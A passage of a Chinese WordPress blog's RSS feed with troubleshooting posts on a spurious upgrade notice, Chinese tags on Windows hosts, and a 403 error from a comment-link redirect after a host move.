                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=4825" title="Permanent Link to WordPress上传中文文件名文件乱码之解决办法" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=4825</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年10月7日  //  <a href="http://ihacklog.com/linux/archlinux/set-dnsmasq-as-dns-cache-server.html" title="Linux下用dnsmasq做dns cache server">Linux下用dnsmasq做dns cache server</a> (7)</li><li>2011年05月27日  //  <a href="http://ihacklog.com/software/zend-studio-8-0-1-released.html" title="Zend Studio 8.0.1发布">Zend Studio 8.0.1发布</a> (3)</li><li>2009年11月2日  //  <a href="http://ihacklog.com/linux/ubuntu-desktop/tragedy.html" title="杯具">杯具</a> (2)</li><li>2011年08月19日  //  <a href="http://ihacklog.com/php/habari/habari.html" title="Habari ?">Habari ?</a> (12)</li><li>2010年12月10日  //  <a href="http://ihacklog.com/php/wordpress/wp3-0-3.html" title="手动更新到WP3.0.3">手动更新到WP3.0.3</a> (8)</li><li>2010年04月30日  //  <a href="http://ihacklog.com/linux/ubuntu-desktop/install-and-setup-ubuntu-10-04-lts-lucid-lynx.html" title="折腾Ubuntu 10.04 LTS (Lucid Lynx) [持续更新中......]">折腾Ubuntu 10.04 LTS (Lucid Lynx) [持续更新中......]</a> (5)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/problems/solution-to-upload-chinese-filename-file-in-wordpress.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>关于3.0.1的更新提示</title>
		<link>http://ihacklog.com/php/wordpress/problems/boring-3-0-1-upgrade-notify.html</link>
		<comments>http://ihacklog.com/php/wordpress/problems/boring-3-0-1-upgrade-notify.html#comments</comments>
		<pubDate>Sun, 07 Nov 2010 00:43:53 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp问题]]></category>

		<guid isPermaLink="false">http://www.ihacklog.com/?p=4198</guid>
		<description><![CDATA[明明已经是最新版了，每次进后台还说我的不是最新版。 淫荡地修改了下版本号，问题搞定。（如有知道其它更”官方“的方法的，请告诉下 ） /wp-includes/version.php 1$wp_version = '3.0.2'; 不过这样以后，在”更新到“ 页面会说”您正在使用 WordPress 的开发版本。“。不过没关系，只要它不提示更新就行了。 喜欢这篇文章吗?请订阅本站 RSS feed 或 作者：荒野无灯 出处：Hacklog【荒野无灯weblog】 声明: 本站遵循 署名-非商业性使用-相同方...]]></description>
			<content:encoded><![CDATA[<p>明明已经是最新版了，每次进后台还说我的不是最新版。<br />
<a href="http://static.ihacklog.com/wp-files/2010/11/upgrade-notify.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2010/11/upgrade-notify-550x35.png" alt="" title="upgrade-notify" width="550" height="35" class="alignnone size-medium wp-image-4199" /> </a><br />
淫荡地修改了下版本号，问题搞定。（如有知道其它更”官方“的方法的，请告诉下 <img src='http://ihacklog.com/wordpress/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' />  ）<br />
/wp-includes/version.php</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$wp_version</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'3.0.2'</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>不过这样以后，在”更新到“ 页面会说”您正在使用 WordPress 的开发版本。“。不过没关系，只要它不提示更新就行了。</p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=4198";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=4198" title="Permanent Link to 关于3.0.1的更新提示" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=4198</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年09月29日  //  <a href="http://ihacklog.com/memory/hacklog/wordpress-blog-optimization.html" title="博客做了下优化，欢迎大家测试速度">博客做了下优化，欢迎大家测试速度</a> (14)</li><li>2010年05月2日  //  <a href="http://ihacklog.com/software/cool_software_share/gonzui-a-source-code-search-engine-under-linux.html" title="linux下的源码搜索利器gonzui">linux下的源码搜索利器gonzui</a> (4)</li><li>2011年12月13日  //  <a href="http://ihacklog.com/php/wordpress/upgrade/upgrade-wordpress-and-plugins.html" title="今天忙了一下午，都是WP升级害的">今天忙了一下午，都是WP升级害的</a> (13)</li><li>2011年12月10日  //  <a href="http://ihacklog.com/software/cool_software_share/disk-usage-summary-utils.html" title="两个统计目录占用磁盘空间大小的小工具">两个统计目录占用磁盘空间大小的小工具</a> (5)</li><li>2009年04月26日  //  <a href="http://ihacklog.com/xml_html_css_js_ajax/30exceptionalcsstechniquesandexamples.html" title="30 Exceptional CSS Techniques and Examples">30 Exceptional CSS Techniques and Examples</a> (0)</li><li>2008年12月31日  //  <a href="http://ihacklog.com/php/%e7%94%b5%e8%84%91%e4%b8%bb%e6%9d%bf%e5%bc%80%e6%9c%ba%e7%94%b5%e8%b7%af%e6%a3%80%e6%b5%8b.html" title="电脑主板开机电路检测&#8230;..">电脑主板开机电路检测&#8230;..</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/problems/boring-3-0-1-upgrade-notify.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>win主机下wordpress不支持中文标签的解决办法</title>
		<link>http://ihacklog.com/php/wordpress/problems/solution-to-wordpress-chinese-tag-problem-under-win-server.html</link>
		<comments>http://ihacklog.com/php/wordpress/problems/solution-to-wordpress-chinese-tag-problem-under-win-server.html#comments</comments>
		<pubDate>Sat, 10 Jul 2010 13:40:12 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp问题]]></category>

		<guid isPermaLink="false">http://www.ihacklog.com/?p=3978</guid>
		<description><![CDATA[今天WP中文论坛一网友问我win主机下wordpress不支持中文标签问题如何解决，GOOGLE之，解决办法如下： 修改wp-includes/rewrite.php 123456789101112131415161718&#160; &#160; function get_tag_permastruct&#40;&#41; &#123; &#160; &#160; &#160; &#160; if &#40; isset&#40;$this-&#62;tag_structure&#41; &#41; &...]]></description>
			<content:encoded><![CDATA[<p>今天WP中文论坛一网友问我win主机下wordpress不支持中文标签问题如何解决，GOOGLE之，解决办法如下：<br />
修改wp-includes/rewrite.php </p>
<p><a href="http://static.ihacklog.com/wp-files/2010/07/win_tag_problem_solve.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2010/07/win_tag_problem_solve-451x400.png" alt="" title="win_tag_problem_solve" width="451" height="400" class="alignnone size-medium wp-image-3979" /> </a></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> get_tag_permastruct<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tag_structure</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tag_structure</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> &nbsp;<a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">permalink_structure</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tag_structure</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tag_base</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tag_structure</span> <span style="color: #339933;">=</span> trailingslashit<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">front</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'tag'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tag_structure</span> <span style="color: #339933;">=</span> trailingslashit<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tag_base</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tag_structure</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'%tag%'</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tag_structure</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> &nbsp;<a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">permalink_structure</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tag_structure</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>这里的判断加个 ! 号即可 ，即变成 ：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> &nbsp;<span style="color: #339933;">!</span> <a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">permalink_structure</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tag_structure</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=3978";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=3978" title="Permanent Link to win主机下wordpress不支持中文标签的解决办法" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=3978</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年03月27日  //  <a href="http://ihacklog.com/software/powerfulvim/remove-utf-8-bom-with-vim.html" title="用vim去掉utf-8 BOM">用vim去掉utf-8 BOM</a> (2)</li><li>2011年09月12日  //  <a href="http://ihacklog.com/php/wordpress/theme/new-theme-simpledark.html" title="换新主题了:SimpleDark">换新主题了:SimpleDark</a> (35)</li><li>2011年12月18日  //  <a href="http://ihacklog.com/php/wordpress/plugins/the-second-solution-to-modifying-wordpress-admin-password-when-your-have-forgot-it.html" title="普通青年版:WordPress管理员密码忘记了怎么办？上传一个文件即可">普通青年版:WordPress管理员密码忘记了怎么办？上传一个文件即可</a> (3)</li><li>2009年02月10日  //  <a href="http://ihacklog.com/security_optimization/path_infodefangshilaishixiansousuoyinqingyouhao.html" title="PATH_INFO的方式来实现搜索引擎友好">PATH_INFO的方式来实现搜索引擎友好</a> (0)</li><li>2011年04月26日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/show-comment-author-gravatar-instantly.html" title="即时显示评论者gravatar头像">即时显示评论者gravatar头像</a> (21)</li><li>2011年12月19日  //  <a href="http://ihacklog.com/php/wordpress/upgrade/dashboard-re-translated-to-control-panel-languages-file.html" title="“控制面板”版WordPress中文语言文件">“控制面板”版WordPress中文语言文件</a> (8)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/problems/solution-to-wordpress-chinese-tag-problem-under-win-server.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>更换空间后奇怪的403 Forbidden错误</title>
		<link>http://ihacklog.com/php/wordpress/problems/strange-403-forbidden-error.html</link>
		<comments>http://ihacklog.com/php/wordpress/problems/strange-403-forbidden-error.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 05:33:15 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp问题]]></category>
		<category><![CDATA[403]]></category>
		<category><![CDATA[Forbidden]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[链接重定向]]></category>
		<category><![CDATA[错误]]></category>

		<guid isPermaLink="false">http://www.ihacklog.com/?p=3478</guid>
		<description><![CDATA[现在我把空间由LP搬到新主机上了,新空间是在小张那购买的，报上万戈童鞋的大名，哈哈，果然有优惠啊。 不过以前一直没有问题的链接重定向却冒出个403 Forbidden错误，如下图： 想了一下，问题应该出在服务器。 因为我以前用的LP的空间是apache 2的，而现在的是 LiteSpeed Web Server。代码明明没有问题，为什么冒出这个错误呢？文件也有权限访问啊。后来，我试着把query string参数值中的http://去掉，这样竟然就没有出错了。看来问题就出在这个http:// 上。把这个参...]]></description>
			<content:encoded><![CDATA[<p>      现在我把空间由LP搬到新主机上了,新空间是在小张那购买的，报上万戈童鞋的大名，哈哈，果然有优惠啊。<br />
      不过以前一直没有问题的链接重定向却冒出个403 Forbidden错误，如下图：<br />
<a href="http://static.ihacklog.com/wp-files/2010/03/strange_403_forbidden.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2010/03/strange_403_forbidden-550x236.png" alt="" title="strange_403_forbidden" width="550" height="236" class="alignnone size-medium wp-image-3477" /> </a></p>
<p>想了一下，问题应该出在服务器。<br />
因为我以前用的LP的空间是apache 2的，而现在的是 LiteSpeed Web Server。代码明明没有问题，为什么冒出这个错误呢？文件也有权限访问啊。后来，我试着把query string参数值中的http://去掉，这样竟然就没有出错了。看来问题就出在这个http:// 上。把这个参数值中的http://去掉就OK了。即修改代码为：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #000088;">$text</span><span style="color: #339933;">=</span><a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'href=&quot;http://'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'href=&quot;'</span><span style="color: #339933;">.</span>get_option<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'home'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/l.php?url='</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$text</span><span style="color: #339933;">=</span><a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;href='http://&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;href='&quot;</span><span style="color: #339933;">.</span>get_option<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'home'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/l.php?url=&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>以前的详细代码见：<a target="_blank" href="http://www.ihacklog.com/wordpress/wpskills/wordpress-commont-author-link-redirect.html">WordPress评论链接重定向跳转</a></p>
<p>修改代码后没有403错误了：<br />
<a href="http://static.ihacklog.com/wp-files/2010/03/link_iframe_ok.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2010/03/link_iframe_ok-550x237.png" alt="" title="link_iframe_ok" width="550" height="237" class="alignnone size-medium wp-image-3479" /> </a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=3478";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=3478" title="Permanent Link to 更换空间后奇怪的403 Forbidden错误" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=3478</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2010年05月22日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/comment-redirecting-with-rewrite-permalink-and-encrypted-url.html" title="rewrite版链接重定向再次升级（加密链接）">rewrite版链接重定向再次升级（加密链接）</a> (15)</li><li>2011年09月3日  //  <a href="http://ihacklog.com/php/markdown-intro.html" title="Markdown 的使用介绍">Markdown 的使用介绍</a> (0)</li><li>2011年08月2日  //  <a href="http://ihacklog.com/php/skills/30-php-best-practices-for-beginners.html" title="给初学者的30条PHP最佳实践">给初学者的30条PHP最佳实践</a> (7)</li><li>2011年08月2日  //  <a href="http://ihacklog.com/php/skills/10-advanced-php-tips-revisited.html" title="10条PHP高级技巧[修正版]">10条PHP高级技巧[修正版]</a> (5)</li><li>2011年07月10日  //  <a href="http://ihacklog.com/software/development-tool/install-cool-theme-for-netbeans-ide.html" title="给NetBeans IDE 换衣服">给NetBeans IDE 换衣服</a> (7)</li><li>2011年07月10日  //  <a href="http://ihacklog.com/php/skills/install-phpdocumentor-pear-package.html" title="安装PhpDocumentor PEAR包">安装PhpDocumentor PEAR包</a> (1)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/problems/strange-403-forbidden-error.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>关于wordpress郁闷了很久的事情</title>
		<link>http://ihacklog.com/php/wordpress/problems/wordpress-cannot-open-popup-upload-window.html</link>
		<comments>http://ihacklog.com/php/wordpress/problems/wordpress-cannot-open-popup-upload-window.html#comments</comments>
		<pubDate>Fri, 06 Nov 2009 02:29:16 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp问题]]></category>
		<category><![CDATA[popup]]></category>

		<guid isPermaLink="false">http://www.hacklog.cn/wordpress/problems/%e5%85%b3%e4%ba%8ewordpress%e9%83%81%e9%97%b7%e4%ba%86%e5%be%88%e4%b9%85%e7%9a%84%e4%ba%8b%e6%83%85.html</guid>
		<description><![CDATA[好几个月了，“上传／插入”右侧那四个按钮一直是点击了没反应。 重新上传所有文件全部覆盖也没有用。 每次上传图片只有右键点击在新窗口中打开再上传东东。 后记： 今天花了点时间，把博客ftp down下来了，终于解决问题了。 在本地架設了 lamp ,把数据库导入，然后要执行几个SQL語句，呵呵，这几个語句可是从小小子童鞋那里学过来的： 1234UPDATE `hacklog`.`wp_options` SET `option_value` = 'http://www.hacklog.domain' WHER...]]></description>
			<content:encoded><![CDATA[<p>好几个月了，“上传／插入”右侧那四个按钮一直是点击了没反应。<br />
重新上传所有文件全部覆盖也没有用。<br />
每次上传图片只有右键点击在新窗口中打开再上传东东。</p>
<p>后记：<br />
今天花了点时间，把博客ftp down下来了，终于解决问题了。<br />
